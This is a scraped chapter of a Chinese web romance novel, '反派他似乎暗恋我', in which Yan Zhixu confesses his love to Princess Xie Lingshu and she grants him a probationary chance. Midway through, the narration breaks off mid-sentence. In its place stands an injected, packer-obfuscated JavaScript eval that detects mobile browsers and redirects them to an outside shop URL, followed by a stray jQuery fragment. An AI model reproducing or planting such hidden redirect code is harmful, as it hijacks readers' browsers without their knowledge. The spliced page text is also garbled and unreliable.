文趣网 > 其他小说 > 反派他似乎暗恋我 > 18.表白
    自那天后,谢令姝开始躲着晏之叙,听小春说今天晏小侯爷在南边,那她出门定往北边走,若听闻他在西边,那她则往东边逛,主打一个能避则避。

    也譬如,谢恒潇喊她和晏之叙,听到晏之叙在,谢令姝便以身体不舒服为理由回绝了,一次还好,但次次都这样就显得极为不正常。

    连一向钝感力强的谢恒潇都觉得不对劲。

    是夜,谢恒潇敲响她的房门,他坐在其身边,问道发生了什么。

    谢令姝拿起刚倒好茶的茶盏,轻抿了一口,装作无事地说道,“没事,就是觉得我俩不对付。”

    这怎么足以信服谢恒潇,他左思右想,最后一拍桌子仿佛被点醒般说道,“我知道了,他给你告白了?”

    “咳咳咳!”谢令姝放下茶盏,猛地咳了起来,是被方才的茶水呛到了。

    谢恒潇见她这样,先是担忧地关怀了一下,随后拧眉疑惑问,“你怎的这么激动?莫非真给我说中了!”

    如果真是,他现在就提刀去宁候府,毕竟肥水不流外人田,他兄弟怎么能把自家白菜拱了呢!

    随后却又觉得好像也不是不可以,他承认晏之叙这个人稍微……比他帅那么一点点吧,身高与他相近,武力也足以保护他皇妹,好像……也不是什么坏事。

    谢令姝过了一会才缓了过来,期间也注意到对面之人的脸一会皱眉一会又绽开笑颜,不知道的还以为是犯病了。

    她无奈扶额,“皇兄你怎么能这么想……”

    话还没说完,就被谢恒潇打断,他再次拍桌站起身,眼神坚定,“我现在就拟旨赐你们成婚!”

    谢令姝:……

    ???

    事情怎么发展成这样了,你清醒点啊!

    她赶紧出声拒绝,语气带着丝焦急,“成个屁!晏小侯爷没有跟我告白!皇兄你脑袋在乱想什么呢?”

    谢令姝知道自家皇兄的脑回路与旁人不一样,只是真亲眼目睹后,莫名很想揍他一顿。

    她吸了口气,心中默念三遍。

    这是亲的……

    这是亲的……

    这是亲的……

    正当她想说些什么,门前来禀报的小厮先开了口,“陛下,殿下,晏侯爷前来登门拜访。”

    谢令姝一听顿感不妙,刚想拒绝这个请求,谁知她皇兄先她一步道,“让晏侯爷进来吧!”

    小厮应了声,便退下了。

    谢令姝扯了下谢恒潇的衣袖,皱眉控诉着,“我还没答应呢!”

    知晓晏之叙并未对自家皇妹有那意思,只当二人吵架闹脾气的谢恒潇此时摆了摆手,露出了一抹意味深长的笑容,“你皇兄我知道你们吵了架,你不好意思低头,说反话嘛,我知道的!”

    谢令姝张了张嘴却还是没说什么,只是眼神颇为无语地盯着谢恒潇。

    “叩叩——”

    敲门声响起,两人默契般看过去,夜晚凉风随着推门动作而入,吹起了晏之叙身后的发丝,又见晏之叙眼底有些乌青,像是没睡好,但碍于那张脸实在俊朗,倒是成不了瑕疵,反倒透着人有种阴郁感。

    与从前那个温润如玉的晏之叙大相径庭。

    瞧着倒是……瘦了。

    谢恒潇自是看出来眼前人的不寻常,他站起身拉着伫立在门前的人坐下,戏谑道:“和我皇妹吵架竟然让你这么伤心?爱卿!你瘦了!”

    晏之叙听出来了话语里的嘲弄,后面两句完全是这小子故意改了昵称。

    但他选择置之不理,而是将目光移向对面的谢令姝。

    目光灼热,谢令姝想不注意也难,她偏过头去,双手死死捂住谢恒潇的嘴,不让谢恒潇继续说,这一举动让谢恒潇猝不及防,身体也不自主往后倾斜了下,嘴里发出“唔唔”般的声音。

    晏之叙难得笑了下,低垂着眸子不知思考什么,他心里知晓是选秀那日说的话,让谢令姝有些尴尬不能收放自如,但是他今日来并不是来说什么——“前几日的话做不得数”、“那些是玩笑话”之类的。

    若是真这么说,反倒让他直白的心意遮掩起来,真怕谢令姝下一秒会立马跟他拜把子。

    听着荒唐,却像是她能干出来的事。

    因此为避免此情况的发生,他不想再隐瞒。

    谢令姝兄妹二人打打闹闹了一会才休战,谢恒潇被这么一弄顿感疲惫,原本还想戏谑几句晏之叙的,但他只想逃离这里,免得又被皇妹捂嘴,他还不能说什么,只能委屈巴巴地受着。

    他好歹还是个皇帝!九五至尊!

    谢恒潇“哼”了声,站起身拍了拍不存在的灰尘,“你们二位可好好聊,朕明早还要上早朝,不跟你们闹了。”

    听到“朕”这个称呼时,谢令姝知晓他在为自己“挽尊”,但意识到方才确实她有些胡闹,她顺从般应着回答,“皇上您慢走。”

    谢恒潇依旧冷哼一声,扬起手挥了下衣袖便扬着下巴离开。

    屋内只留下谢令姝和晏之叙二人,没了方才的喧闹声,现在环境安静的吓人。

    知道自己今天逃不过,无论都得面对,谢令姝尴尬地开口,“额……许久未见了,小侯爷。”

    连昵称都变了,又变回先前的生疏氛围,晏之叙心里莫名有些……委屈。

    他一开口,嗓子有些哑,“嗯,为什么躲着我?”

    见对方直接戳破,毫不避讳地问这个问题时,谢令姝有些怔然扭捏。

    她绞着手指,内心纠结了许久,总算鼓起勇气问了:“侯爷,你……是不是……是不是喜欢我?”

    越往后说她就越心虚,声音也就越小,可着偌大的房间静得落针可闻,因此晏之叙一字一字听到了。

    谢令姝说完就后悔了,如果不是她心中所想,那这丢人丢到爷爷家了。

    如果是的话……

    还不等她细想,晏之叙就将她拉回现实。

    如同前几天一样,将脸凑近她,眼神缱绻带着一丝认真,“就是你想的那样,我心悦你。”

    砰砰——

    这一句话像是擂鼓一般重重撞在她的胸腔上,惹得她耳尖发烫,就连呼吸都乱了节拍。

    原来真是她想的那样,可即便如此,她也无法坦然回应这份炙热的情意,前两世她不是没有遇到过假意温存,而那些短暂的露水情缘,无一不是层层算计,旁人靠近她,不过是觊觎她的公主身份带来的皇权富贵,妄图借着她一步登天,往后安稳无忧。

    即使她知道,晏之叙与那些趋炎附势的人相反,可是她真的没有心力去维持一段感情,而且面对晏之叙时,她只想逃避,和从前那样不好吗?

    一定要在一起吗?一定要袒露心意吗?若是日后分离,不仅遇到了会尴尬,从前那些温存的记忆犹如大梦初醒一般不复存在。

    那她自己喜欢晏之叙吗?

    ……

    或许吧,动过那么一丝真情,但她这人直至未确定自己的心意前,保留的爱意是万分之一,说的直白点就是她需要别人迈向她99步,她才敢确定对方的心意。

    谢令姝抿了下干涩的唇,才发觉这寂静无声的室内,晏之叙从未移开过放在她身上目光,好似在等一个答案。

    她眼神无措地对上视线,四目相对间才缓缓启唇,“晏侯爷,我……”

    万般话语尽数堵在喉咙,发不出音节,她竟然做不到干脆地拒绝。

    从前的那些追求者,在他们告白后的下一秒,谢令姝就会礼貌摇头拒绝,毫不留情。

    正逢她不知怎么委婉回绝之时,晏之叙在这时替她回答。

    晏之叙眸色依旧满是温柔,没有一丝恼气,其实他并不是为得到一个名分,只是想让面前人清楚自己的心意。

    “令姝,我方才并非是为谋得一个名分,只是想让你清楚知道我对你的心意,我不想遮掩作假,说不喜欢你,那不是君子之为。”

    听到自己的名字,谢令姝一愣,不再称呼她为“殿下”,她能察觉到对方语气里的坚定,不似玩笑话。

    谢令姝低

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785992|207722||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    垂着头,声音闷闷的:“可你是什么时候喜欢上我的?”

    “幼时相伴,起初我只当自己多了个妹妹,并未放在心上,可随着岁月的流逝,与你相伴的时日都不是虚浮,而我确定自己的心意时,是我有次昏迷,你沉着冷静地检查我的情况,喊来了侍卫,朦胧间我瞧见你那紧绷着的脸,忽然明白我对你绝非是兄妹情谊。”

    他顿了下,继续道:“自那日后,我心中暗暗发誓要护你周全,若是日后你喜欢上别人,我也会以兄长的名义护你一世安稳,做你的臂膀。”

    话落,谢令姝指尖微微蜷缩,这番炽热的话语在她的心口处,又泛起一阵纷乱的心动,她好像记起来了,再抬眼看着他认真恳切的模样,原本那坚定想要疏远逃避的心,悄然松动了几分。

    谢令姝想着,那试用期总可以吧?如期而至时,没有达到她的预期,还可以一拍而散。

    她觉得自己真是个天才。

    她清了清嗓子,不再是逃避敷衍的神情,神情倒有些骄傲,像一只小孔雀:“本公主知道了!但是呢我现在不会给予你答复,看你表现我再回答,表现的不好我就让皇兄宰了你!”

    闻言,晏之叙喉咙发出了一声轻笑,他知道谢令姝这是给他表现的机会,也算半个同意了,他相信会有那么一天,能亲耳听到谢令姝的心意。

    眼下的局面,已是最好的了,他发自内心的满意了。

    毕竟人不能逼得太紧。

    晏之叙先前环绕在周身的阴郁一扫而空,心头沉沉的阴霾逐渐散去,宛若连日阴雨骤然放晴,暖阳顷刻间铺满心底。

    天色垂暮,他起身唇角勾起一抹弧度,明眼人都能瞧见那眼底直达深处的笑意:“那殿下今晚睡个好觉,明日见。”

    谢令姝脸“咻”的一红,轻轻嗯了声,又继续道:“明日见。”

    ……

    第二日学堂上,谢令姝满脑子都是昨日之事,看上去心不在焉,就连云梨喊她好几声都未听见。

    再等她反应过来时,她“啊”了声,连忙说道自己无事。

    今日夫子未留课业,谢令姝想起来选秀已过去好几日,还未瞧见过后宫那些妃子,秉持着想见一面的想法,她立刻调转了车头前往后宫的方向。

    可等她到御花园时,还未曾踏入便听到里面传来的欢声笑语,真实的不像幻听。

    在御碑亭内,亭中石案上面摆着牌,鎏金小碟放着蜜饯、桂花糕与冰镇果子,宫女垂手立在四周,随时添茶打扇,坐在石凳上的几位妃子三三两两围坐成两桌,欢声笑语间珠钗在阳光下轻轻晃动。

    其中一位常在指尖轻敲桌面,落牌时轻笑一声:“今儿手气倒是顺,看来近日心境舒畅。”

    而身旁另一位常在捂嘴笑道:“那可要请妹妹们吃顿好的。”

    眼前这幅场景是谢令姝未曾想到过的,谁能想到皇帝后宫嫔妃不去争宠,反而在御花园处打起牌来了。

    她徐徐走去,有眼尖的宫女瞧她过来,神色一慌连忙行礼道:“参见殿下。”

    众妃嫔循声纷纷看去,瞬间停止了手上的动作,也都站起身朝她行礼。

    谢令姝抬手,问道:“怎么都在这打牌?”

    那位苏常在答道:“这闲暇时刻太无聊了,倒不如喊上姐妹娱乐一下。”

    说罢,还夹了一块水果喂到谢令姝嘴边,谢令姝也条件性反射地张开了嘴,嚼了嚼嘴里的苹果,还挺甜。

    苏常在拉着她入座,也好奇问道:“殿下怎的来御花园了?”

    却不想谢令姝并未回答,反而有些好奇地望向她们,将心中的疑问说了出来:“本宫还以为你们会纷纷去争宠,不是贬义,就是顿感惊讶。”

    此话一出,众妃嫔纷纷对视了一眼,嘴角含笑,另一位常在出了一张手里的牌,接话道:“皇上公务繁忙,晚上也不传我们侍寝,在这后宫之中,何必要争个头破血流?像这样安逸不也挺好的,不愁吃喝,不愁玩乐。”

    谢令姝这么一想,觉得有道理。